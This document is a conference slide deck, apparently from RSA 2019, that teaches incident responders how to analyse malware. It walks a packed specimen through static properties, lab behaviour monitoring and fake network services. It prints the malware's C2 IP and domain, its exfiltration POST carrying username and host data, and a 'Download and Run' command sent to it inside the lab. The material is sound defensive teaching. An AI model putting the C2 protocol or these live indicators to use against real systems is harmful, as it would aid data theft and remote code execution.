

# RSA<sup>®</sup>Conference2019

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**BETTER.**

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## Practical Malware Analysis Essentials for Incident Responders

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


#RSAC

# Knowing how to examine malware helps you determine:

- Does the file pose a threat to your organization?
- What are the file's capabilities?
- How to detect the malware on systems across the enterprise?
- What does the file reveal about your adversary?

# Stages of malware analysis methods grow in complexity.



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# Static Properties Analysis



# Look at static properties for an initial assessment.

- Hashes
- Packer identification
- Embedded artifacts
- Imports and exports
- Strings, etc.

Start determining as part of triage:

- Is it malware?
- How bad is it?
- How to detect it?



# PeStudio extracts static properties and flags anomalies.

pestudio - Malware Initial Assessment - www.winitor.com

File Help


Icons: [Folder], [Disk], [X], [List], [Question Mark]

File Explorer: c:\users\rem\desktop\rnmon.exe

property	value
md5	A32A83A561E8ADFFBB034F78DE428B5E
sha1	44CD800AF24DD18BB33435B705684F8361DF15E4
sha256	E5D209237F267AC1C367F6A40F6B575445570B38CB8E0545CF7E
first-bytes (hex)	4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 0
first-bytes (text)	M Z . . . . . @ . . . . .
size	77312 bytes
entropy	4.918
imphash	67FDC237B514EC9FAB9C4500917EB60F
cpu	32-bit
signature	n/a
entry-point (hex)	55 89 E5 83 EC 08 E8 8E FF FF FF 31 C0 C9 C3 90 FF
file-version	n/a

Left sidebar (Properties):

- indicators (8)
- virustotal (network error)
- ☐ dos-stub (!This program cann
- ☐ file-header (Jun.2014)
- ☐ optional-header (GUI)
- ☐ directories (2)
- ☐ sections (99.34%)
- ☐ libraries (kernel32)
- ☒ imports (VirtualAlloc)
- ☒ exports (0)
- ☒ tls-callbacks (n/a)
- ☒ resources (n/a)
- abc strings (0/1/0/1/721)



RNMON.exe

# The lack of readable strings suggests a packer.

c:\users\rem\desktop\rnmon.exe							
	type	size	blacklist...	hint ...	whitelist...	group...	value (721)
indicators (8)	ascii	40	-	x	-	- -	!This program cannot be run in DOS mode.
virusotal (network error)	ascii	12	-	-	-	5	VirtualAlloc
dos-stub (!This program cann	ascii	5	-	-	-	- -	.text
file-header (Jun.2014)	ascii	7	-	-	-	- -	0`.data
optional-header (GUI)	ascii	6	-	-	-	- -	.idata
directories (2)	ascii	5	-	-	-	- -	WVSR1
sections (99.34%)	ascii	5	-	-	-	- -	X[^_]
libraries (kernel32)	ascii	4	-	-	-	- -	[^_]
imports (VirtualAlloc)	ascii	4	-	-	-	- -	[^_]
exports (0)	ascii	5	-	-	-	- -	,[^_]
tls-callbacks (n/a)	ascii	4	-	-	-	- -	%0PA
resources (n/a)	ascii	22	-	-	-	- -	KKqvED ppEFmu MDwsEGpp
strings (0/1/0/1/721)	ascii	95	-	-	-	- -	EFppBHru IKnlMOoqHCym DFptMOonFOym BNp
debug (n/a)	ascii	120	-	-	-	- -	EHqvEDpp OOvrLFwmBOmmMOvt MBwrEP npMM
manifest (n/a)	ascii	112	-	-	-	- -	yvHJppDAwmHJ m{LLoIEDIn HJnuFLorKFx{ BBszEA
version (n/a)	ascii	119	-	-	-	- -	ppMImvELmp LKymPDqtED ppMI/mPPqt EDpp BD
certificate (n/a)							

# Another packer indicator: So few dependencies.

Analysis of `c:\users\rem\desktop\rnmon.exe` showing packer indicators and dependencies.

**Indicators (8):**

- virustotal (network error)
- dos-stub (!This program cannot be opened)
- file-header (Jun.2014)
- optional-header (GUI)
- directories (2)
- sections (99.34%)
- libraries (kernel32)**
- imports (VirtualAlloc)
- exports (0)
- tls-callbacks (n/a)
- resources (n/a)
- strings (0/1/0/1/721)
- debug (n/a)
- manifest (n/a)
- version (n/a)
- certificate (n/a)

**Libraries (1):**

library (1)	blacklist (0)	missing (0)	type (1)	imports (1)	file-description
kernel32.dll	-	-	implicit	1	Windows M...


**Imports (VirtualAlloc):**

name (1)	group (1)	anonymous (0)	type (1)
VirtualAlloc	5	-	implicit



# Static analysis helps with initial assessment and IOCs.

- The file being packed is unusual, but not in itself malicious.
- An Indicator of Compromise is a context-specific signature.
- We can use the file hash values to look up the file in malware data repositories such as VirusTotal and Hybrid Analysis.



# This section covered these tools and concepts:

PeStudio

triage

Strings

IOC

Hash

Imports

Packer

VirtualAlloc

Malware data repository

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# Initial Behavior Analysis




# Behavior analysis examines environment interactions.

- Execute malware in an isolated Windows lab system.
- Observe how it interacts with the file system, registry, network.
- Interact with malware to learn more about it.

# It's convenient to virtualize the lab: VMware, VirtualBox...


- Build your own VM from scratch.
- Download a free VM from Microsoft: [bit.ly/windowsvm](https://bit.ly/windowsvm)
- Add tools by hand or with FLARE VM: [flarevm.info](https://flarevm.info)





# It helps to have a Linux box in your lab, too.

REMnux is a free Linux distro with lots of preinstalled malware analysis tools: [remnux.org](http://remnux.org)




# Mitigate the risks of malware escaping from your lab.

- Avoid production network connectivity.
- Dedicate a physical host to the lab.
- Restore the host if anything suspicious occurs.
- Keep up with patches to virtualization software.

# Launch monitoring tools in the lab, then infect the Windows system.

- Process Hacker: Observes running processes.
- Process Monitor: Records local system interactions.
- Wireshark: Records network activities.

# The monitoring tools will start capturing the activities.



The image shows two overlapping windows from Sysinternals. The background window is **Process Hacker**, displaying a list of running processes. The foreground window is **Process Monitor**, showing a log of file system operations.

**Process Hacker Processes:**

Name	PID	ASLR	Integrity	CPU	I/O total r...	Private byt...	User name
System Idle Process	0			93.34		52 kB	NT A...\SYSTEM
System	4		Svstem	0.47		156 kB	NT A...\SYSTEM
Interrupts							
csrss.exe							
csrss.exe							
wininit.exe							
winlogon.exe							
fontdrvho							
dwm.exe							
explorer.exe							

**Process Monitor - Sysinternals: www.sysinternals.com**

File Edit Event Filter Tools Options Help

Time...	Process Name	PID	Operation	Path	Result
2:41:...	SearchInde...	4100	FileSystem...	C:	SUCCESS
2:41:...	SearchInde	4100	FileSystem...	C:	
2:41:...	Explorer.EX				
2:41:...	Explorer.EX				

**Capturing from eth0**

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools

Apply a display filter ... <Ctrl-/> Expression...

No.	Time	Source	Destination
-----	------	--------	-------------

# Infect the Windows box while the monitoring tools are active.

- Interact with the infected system a bit by launching programs and typing.
- Let the specimen run for at least 3-5 minutes, to give it a chance to act.
- Kill the malicious process.
- Pause monitoring tools when you're ready to begin examining the activities.



# Process Hacker shows how the suspicious process runs.

"C:\Users\REM\AppData\Roaming\OracleJava\javaw.exe" -m  
"C:\Users\REM\Desktop\RNMON.exe"

The screenshot displays the Process Hacker application. The 'Processes' tab is active, showing a list of running processes. The 'javaw.exe' process (PID 3664) is highlighted in pink. A purple arrow points from the command line text above to the 'Command line' field in the 'javaw.exe (3664) Properties' dialog box. The dialog box shows the command line as "C:\Users\REM\AppData\Roaming\OracleJava\javaw.exe" -m "C:\Users\REM\Desktop\RNMON.exe".

Name	PID	ASLR	Integrity	CPU	I/O total r...	Private byt...	User name	Description
System Idle Process	0							
System	4		System					
Interrupts								
csrss.exe	600	ASLR	System					
csrss.exe	668	ASLR	System					
wininit.exe	676	ASLR	System					
winlogon.exe	724	ASLR	System					
fontdrvhost.exe	896	ASLR	Low					
dwm.exe	564	ASLR	System					
explorer.exe	3436	ASLR	Medium					
vmtoolsd.exe	5084	ASLR	Medium					
ProcessHacker.exe	200	ASLR	High					
Procmon.exe	4872	ASLR	Medium					
Procmon64.exe	1376	ASLR	High					
javaw.exe	3664		Medium					

**javaw.exe (3664) Properties**

Environment | Handles | Job | GPU | Disk and | Network | Comment

General | Statistics | Performance | Threads | Token | Modules | Memory

**File**

N/A  
(UNVERIFIED)

Version: N/A

Image file name:  
C:\Users\REM\AppData\Roaming\OracleJava\javaw.exe

**Process**

Command line:  
"C:\Users\REM\AppData\Roaming\OracleJava\javaw.exe" -m "C:\Users\REM\Desktop\RNMON.exe"

Current directory:  
C:\Users\REM\Desktop\


# Process Hacker can extract strings from memory of the suspicious process.

Results - javaw.exe (3664)

1,452 results.


Address	Length	Result
0x408030	13	mswinhost.exe
0x40803e	12	81.4.111.176
0x40804b	22	/scandisk/diskpart.php
0x408062	17	total-updates.com
0x40807c	65	Mozilla/5.0 (Windows NT 6.1; rv:24.0) ...
0x4080c3	47	Content-Type: application/x-www-form...
0x408108	14	jhgtsd7fjmytkr
0x408139	16	Download and Run
0x40814a	14	Upload KeyLogs
0x408161	10	%s&data=%s
0x40818d	36	&op=%d&id=%s&ui=%s&wv=%d&gr...
0x4081b2	10	text/plain
0x4081d9	10	identifier
0x4081e4	42	SOFTWARE\Microsoft\Windows\Curren...
0x40820f	12	kernel32.dll
0x40821c	19	GetNativeSystemInfo
0x408230	47	SYSTEM\CurrentControlSet\Control\Pro...
0x408260	11	ProductType

# Process Hacker also shows handles, including mutex names, which can be IOCs and an infection markers.



# Wireshark shows an attempt to connect to an external IP address on TCP port 80.

The lab is isolated and has no active services yet, so the connection is not established.



The image shows a Wireshark network traffic capture on the \*eth0 interface. The packet list table contains two entries:

No.	Time	Source	Destination	Proto	Length	Info
42	45.604313	192.168.228.128	81.4.111.176	TCP	66	49674 → 80 [SYN] Seq=0 Win=65535 Len=0
43	48.631260	192.168.228.128	81.4.111.176	TCP	66	[TCP Retransmission] 49674 → 80 [SYN]

The first packet (No. 42) is a SYN packet from 192.168.228.128 to 81.4.111.176 on port 80. The second packet (No. 43) is a retransmission of the same SYN packet. The destination IP address 81.4.111.176 is highlighted with a red box in the original image.

## Your analysis so far provides several IOCs.

- Hostname: total-updates.com
- IP address: 81.4.111.176
- Mutex: nUndsa8301nskal
- URI: /scandisk/diskpart.php
- File: C:\Users\REM\AppData\Roaming\OracleJava\javaw.exe



# You can pivot around these data points to gather OSINT.

Detections	URL	VirusTotal
1/67	http://81.4.111.176/scandisk/diskpart.php	
0/67	http://81.4.111.176/african/updcheck.php	
0/67	http://81.4.111.176/	

TotalHash


Displaying 1 - 4 of 4 results

SHA1

a506bde2d0ee5300811a4de85e68a553a5b74547

faa348993ea1735475a67c05787cf9df07b127f0

# The attributes you discover can lead you to other people's analysis.



What if you cannot find any details and must rely solely on yourself?

# ProcDOT cleans up and visualizes Process Monitor data.

Save To File

Events to save:

☐ All events

☒ Events displayed using current filter

☒ Also include profiling events

☐ Highlighted events

Format:

☐ Native Process Monitor Format (PML)

☒ Comma-Separated Values (CSV)

☐ Extensible Markup Language (XML)

☐ Include stack traces (will increase file size)

☐ Resolve stack symbols (will be slow)

Path: C:\Users\REM\Desktop\Logfile.CSV

OK


ProcDOT

Select the first relevant process ...

Enter search string ...


PID	Processname
4796	RNMON.exe
3664	javaw.exe
4100	SearchIndexer.exe
3436	Explorer.EXE
5084	vmtoolsd.exe
2052	vmtoolsd.exe
1388	svchost.exe
796	lsass.exe
992	svchost.exe

# ProcDOT explains how the javaw.exe process appeared.



**ProcDOT also shows that javaw.exe created and read an unusual file and defined an autostart registry key.**

Further analysis would indicate that the sskrnl file is encoded or encrypted.





# What have you learned about the specimen so far?

- Copies itself to %AppData%\OracleJava\javaw.exe and runs from that location.
- Creates registry keys for persistence.
- Connects to 81.4.111.176.
- Creates an encoded “nsskrnl” file.
- Other IOCs and theories.

# This section covered these tools and concepts:

Virtualization

Flare VM

REMnux

Process Hacker

Process Monitor

ProcDOT

Wireshark

TotalHash

Persistence

Mutex

Infection marker

Data in memory

OSINT

Pivoting

Behavioral analysis


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# Interactive Network Analysis

An abstract network diagram composed of numerous thin, light blue lines and small circular nodes. The lines are curved and flow from the bottom right towards the top left, creating a sense of dynamic movement and connectivity. The nodes are scattered along these lines, representing data points or entities within a network.

# Give the specimen what it wants by redirecting the port 80 connection to a web server in your lab.

- What will happen if the specimen can connect to its web server?
- You can use iptables on Linux to intercept and redirect all internal traffic in your lab.
- The web server on that system will then accept the connection.



The image shows a Wireshark network traffic capture on the \*eth0 interface. The packet list table displays two packets:

No.	Time	Source	Destination	Proto	Length	Info
42	45.604313	192.168.228.128	81.4.111.176	TCP	66	49674 → 80 [SYN] Seq=0 Win=65535 Len=0
43	48.631260	192.168.228.128	81.4.111.176	TCP	66	[TCP Retransmission] 49674 → 80 [SYN]

The first packet (No. 42) is a SYN packet from 192.168.228.128 to 81.4.111.176 on port 80. The second packet (No. 43) is a retransmission of the same SYN packet. The destination IP 81.4.111.176 and the port 80 are highlighted with a red box in the original image.

# Launch the web server and run accept-all-ips on REMnux, start sniffing in Wireshark, then re-infect.

```
remnux@remnux: ~  
File Edit Tabs Help  
remnux@remnux:~$ httpd start  
remnux@remnux:~$ accept-all-ips start  
OK, iptables will accept and redirect connections to all IPs on eth0.  
Remember to set the client system's default gateway to IP of this REMnux host.  
remnux@remnux:~$
```

The specimen initiates the HTTP connection about a minute after launching.

The specimen exfiltrates some data and reveals additional IOCs.

Source	Destination	Proto	Length	Info
192.168.228.128	81.4.111.176	TCP	66	49724 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1
81.4.111.176	192.168.228.128	TCP	66	80 → 49724 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1
192.168.228.128	81.4.111.176	TCP	60	49724 → 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0
192.168.228.128	81.4.111.176	HTTP	373	POST /scandisk/diskpart.php HTTP/1.1 (application/x-www-form-urlencoded)

Wireshark · Follow TCP Stream (tcp.stream eq 1) · wireshark\_pcap\_eth0\_20190111161026\_jl4pJF

POST /scandisk/diskpart.php HTTP/1.1  
Accept: text/plain  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0  
Host: 81.4.111.176  
Content-Length: 66  
Cache-Control: no-cache

&op=1&id=1KsBKuS&ui=REM @ DESKTOP-2C3IQHO&wv=20&gr=NEWGRUP&bv=1.57 HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)



# Now, Wireshark also displays an attempt to resolve the hostname total-updates.com.

Source	Destination	Proto	Length	Info
192.168.228.128	192.168.228.129	DNS	77	Standard query 0x3987 A total-updates.com
192.168.228.129	192.168.228.128	ICMP	105	Destination unreachable (Port unreachable)
192.168.228.128	192.168.228.129	DNS	77	Standard query 0x3987 A total-updates.com
192.168.228.129	192.168.228.128	ICMP	105	Destination unreachable (Port unreachable)


## URLVoid

**Blacklist Status** 2/38

**IP Address** **204.11.56.48** [Find Websites](#) | [IPVoid](#) | [Whois](#)

**Reverse DNS** Unknown

# Use fakedns on REMnux to redirect the query, reinfect, and observe the total-updates.com details in Wireshark.



The image shows two overlapping windows. The top window is a terminal titled 'remnux@remnux: ~'. It displays the command 'fakedns' and its output: 'pyminifakeDNS:: dom.query. 60 IN A 192.168.228.129' and 'Respuesta: total-updates.com. -> 192.168.228.129'. The bottom window is Wireshark, titled 'Wireshark · Follow TCP Stream (tcp.stream eq 1) · wireshark\_pcap\_eth0\_20190111163016\_oq07rt'. It shows an HTTP POST request to '/scandisk/diskpart.php' with various headers. The response is a 404 Not Found error.

```
remnux@remnux: ~  
File Edit Tabs Help  
remnux@remnux:~$ fakedns  
pyminifakeDNS:: dom.query. 60 IN A 192.168.228.129  
Respuesta: total-updates.com. -> 192.168.228.129  
█
```

```
Wireshark · Follow TCP Stream (tcp.stream eq 1) · wireshark_pcap_eth0_20190111163016_oq07rt  
POST /scandisk/diskpart.php HTTP/1.1  
Accept: text/plain  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0  
Host: total-updates.com  
Content-Length: 66  
Cache-Control: no-cache  
  
&op=1&id=lKsBKuS&ui=REM @ DESKTOP-2C3IQH0&wv=20&gr=NEWGRUP&bv=1.57HTTP/1.1 404 Not Found
```

# You could experiment with sending C2 commands to the specimen.

- The attacker probably specifies the command in the HTTP response.
- The string Download and Run, which you saw in memory of the specimen's process, looks like a possible command.
- The attacker would likely specify the URL together with this command to specify what the malware should download and run.

# You can use INetSim to supply the specimen with a runnable Windows executable to test your theory.

Include the C2 instruction in the file INetSim will supply for default HTTP requests, directing the specimen to get an INetSim executable.

```
remnux@remnux: /var/lib/inetsim/http/fakefiles
File Edit Tabs Help
remnux@remnux:/var/lib/inetsim/http/fakefiles$ cd /var/lib/inetsim/http/fakefiles/
remnux@remnux:/var/lib/inetsim/http/fakefiles$ sudo -s
root@remnux:/var/lib/inetsim/http/fakefiles# mv sample.html sample.html.bak
root@remnux:/var/lib/inetsim/http/fakefiles# echo "Download and Run http://1.1.1.1/sample_gui.exe" > sample.html
root@remnux:/var/lib/inetsim/http/fakefiles# exit
exit
remnux@remnux:/var/lib/inetsim/http/fakefiles$ httpd stop
remnux@remnux:/var/lib/inetsim/http/fakefiles$ inetsim
INetSim by Matthias Eckert & Thomas Hungenberg
Using log directory: /var/log/inetsim/
```

# The specimen downloads and saves the executable, but doesn't run it, perhaps due to a bug or an analyst error.

Wireshark · Follow TCP Stream (tcp.stream eq 9) · wireshark\_pcap\_eth0\_20190111175526\_Sw66r

```
POST /scandisk/diskpart.php HTTP/1.1
Accept: text/plain
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
Host: 81.4.111.176
Content-Length: 66
Cache-Control: no-cache

&op=1&id=lKsBKuS&ui=REM @ DESKTOP-2C3IQH0&wv=20&gr=NEWGRUP&bv=1.57HTTP/1.1 200 OK
Server: INetSim HTTP Server
Content-Type: text/html
Content-Length: 47
Connection: Close

Download and Run http://1.1.1.1/sample_gui.exe
```

CREATE FILE  
DELETE FILE

C:\Users\REM\AppData\Local\Temp\AkhAzgcilISj.exe

# What have you discovered about the specimen using interactive network analysis?

- Confirmed that port 80 connections are HTTP.
- Confirmed the use of total-updates.com and /scandisk/diskpart.php.
- Spotted data exfiltration (username, computer name, other).
- Experimented with the C2 mechanism and partially validated a hypothesis regarding the Download and Run command.



# This section covered these tools and concepts:

iptables

httpd

fakedns

INetSim

URLVoid

Connection interception

Exfiltration

Command and Control (C2)

**RSA**Conference2019

## Conclusions and Wrap-Up



# Malware analysis skills contributes to incident response.

- Assess the threat level associated with adversaries' tools.
- Gather valuable data for threat hunting activities.
- Obtain details specific to your organization without relying on someone else's findings.

## For next steps:

- Download these materials: [dfir.to/malware-analysis-intro](https://dfir.to/malware-analysis-intro)
- Set up your own lab, as outlined in the beginning.
- Go through the analysis steps to start experimenting with these tools and techniques.
- If you'd like a copy of the malware sample, send me a note to [rsac@zeltser.com](mailto:rsac@zeltser.com).